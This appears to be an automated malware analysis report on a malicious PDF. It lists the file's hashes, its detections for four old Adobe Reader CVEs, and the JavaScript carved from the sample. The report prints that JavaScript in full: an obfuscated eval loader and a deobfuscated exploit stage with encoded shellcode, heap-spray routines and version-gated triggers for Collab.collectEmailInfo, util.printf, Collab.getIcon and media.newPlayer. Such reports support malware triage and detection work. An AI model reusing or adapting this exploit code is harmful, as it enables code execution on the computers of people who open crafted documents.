Malicious PDF — malware analysis report

Static analysis result for SHA-256 346c258ec5fd76b6…

MALICIOUS

PDF

78.7 KB Authoring application: ring.fromChar First seen: 2012-10-10
MD5: b9c8023898c0f4e90cfdd8f2ac3b17fd SHA-1: 75377ad7a8dc3a6d40151337bd05a580de5ab11f SHA-256: 346c258ec5fd76b63c4341fdf4c555cc46ee13f07809a951451364e46fab5921
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to execute malicious code upon opening the PDF, although the specific payload could not be determined from the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x138B3 384 bytes
SHA-256: 3b5936f3aa26aa1fa688bb76ad0b0df33a305ae712efe2ed0adffece5ddf63bf
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var linx="";
jjuo='his';
ung='tit';
e('ijk=t'+jjuo+"."+ung+t);
t='cer'
hfwu='produ';
e('emr=t'+jjuo+"."+hfwu+t);
ztevn=e('St'+emr+'Code');
vzv = e(ijk);
e('k=vzv.length');
for (i = 0; i < k; i+=2) {
	peb = vzv[i] + vzv[i+1];
	linx += ztevn(peb);
}
e(linx);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: 34da253fb2602930df269b2e262f8ce4179c5ae6368f7ff57ca5265a30cdf714
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u9734%ue2aa%uc3fa%ue5e8%uffff%u7eff%u969b%u9797%u16c9%ucb7b%u9796%u1e97%u1a70%u87d8%uf81a%ua6c3%uc04c%uc4c6%uc4c4%uc4c4%uc4c4%uc4c2%uffc4%u9693%u9797%uc1c2%uffc4%uf9f8%u9797%ue2ff%ufbe5%uc3fa%u19ff%u99d9%u7f7b%u97df%u9797%u7fc7%u97eb%u9797%u4768%u5314%uff9f%u78d8%u92d8%u7fc7%u97fb%u9797%u4768%u5712%u80e2%uc3fd%u64ce%uff3d%u69e5%u8124%u8a7f%u9797%uc797%uc67f%u9797%u6897%uc447%u69fd%u1eff%u96f8%u7f2a%u979f%u9797%u7fc7%u97ab%u9797%u4768%ua6f7%uf357%uc71c%u1ca7%u9bc5%uc51c%u1c83%ubfe5%u8f2e%u9797%ua697%ua668%u3b57%uf6ab%u95eb%ub7bb%u5856%u969a%u7550%u1667%ucc68%udd2b%u1cfd%u87d5%u851c%u4ee2%ud31e%u8bb3%u54f6%u1cf7%ub3fb%u1cb3%uabd2%uc31c%uef92%u7d96%udd1c%u1c8f%ub7cd%u7c96%ua374%u1cde%u1ca3%u7996%u68a6%u57a6%u3b6b%u5713%u90e3%u5856%u969a%u7c50%uac63%ub3eb%ue2bf%u1c76%ub3cd%u7c96%u1cf1%udc9b%ucd1c%u968b%u1c7c%u1c93%u7f96%ud31e%u8bb3%u55f6%u979f%u787f%u6869%uff68%ue3e3%uade7%ub8b8%ueffb%ue2e6%uf4b9%ub9f8%uf4f4%uf8b8%ue7b9%ue7ff%uf1a8%ua6aa%ub1a1%uaaf2%u97a2';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.